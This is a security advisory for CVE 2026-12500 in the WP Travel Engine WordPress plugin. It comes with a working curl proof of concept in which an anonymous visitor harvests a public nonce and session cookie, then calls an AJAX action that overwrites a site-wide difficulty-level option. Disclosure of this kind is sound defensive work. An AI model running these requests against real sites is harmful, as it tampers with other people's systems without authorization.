WP Travel Engine < 6.8.2 – Unauthenticated Trip Difficulty Level Option Update | CVE 2026-12500

Description

The plugin does not perform a capability check on an AJAX action that updates a plugin option, allowing unauthenticated users to overwrite a site-wide plugin option (the public nonce that gates the action is served to anonymous visitors).

Proof of Concept

The wp_xhr nonce is served to anonymous visitors in the front-end localized script data, and is bound to the anonymous session cookie (wordpress_wp_travel_engine_session) the site sets on that same page load. No account is required: the attacker harvests the nonce and that session cookie together from one front-end page load, then replays both.

Prerequisites: at least one difficulty taxonomy term exists (the default when a site uses trips).

Step 1 - As an anonymous visitor, load any front-end page (saving cookies) and read the public wp_xhr nonce from the localized script data:

  JAR=$(mktemp)
  BODY=$(curl -sk -c "$JAR" "https://victim.example/")
  NONCE=$(echo "$BODY" | grep -o '"wpxhr":{[^}]*}' | grep -o '"nonce":"[^"]*"' | cut -d'"' -f4)

The HTML contains the localized config object:
  "wpxhr":{"root":"https:\/\/victim.example\/wp-admin\/admin-ajax.php","nonce":"3e877b8cc8"}

Step 2 - As the same anonymous visitor (replaying the harvested session cookie, no auth cookies), call the AJAX action to write the option. term_id is any existing difficulty taxonomy term ID; level is the attacker-chosen value stored as the array key:

  curl -sk -b "$JAR" -X POST "https://victim.example/wp-admin/admin-ajax.php" \
    --data "action=wte_set_difficulty_term_level&nonce=$NONCE&term_id=5&level=PWNED_BY_ANON"

Response:
  {"success":true,"data":{"PWNED_BY_ANON":{"level":"PWNED_BY_ANON","term_id":"5","label":"Easy"}}}

Server-side effect: the difficulty_level_by_terms option now contains the attacker-supplied entry, written by an unauthenticated request with no manage_options capability and no account. Repeating with different level/term_id values, or sending level= (empty) for an existing term_id, lets the attacker add, overwrite, or remove entries in the mapping, corrupting the difficulty labels shown on trip cards across the site. The {"success":true} response with the echoed stored value confirms the write succeeded with no capability check.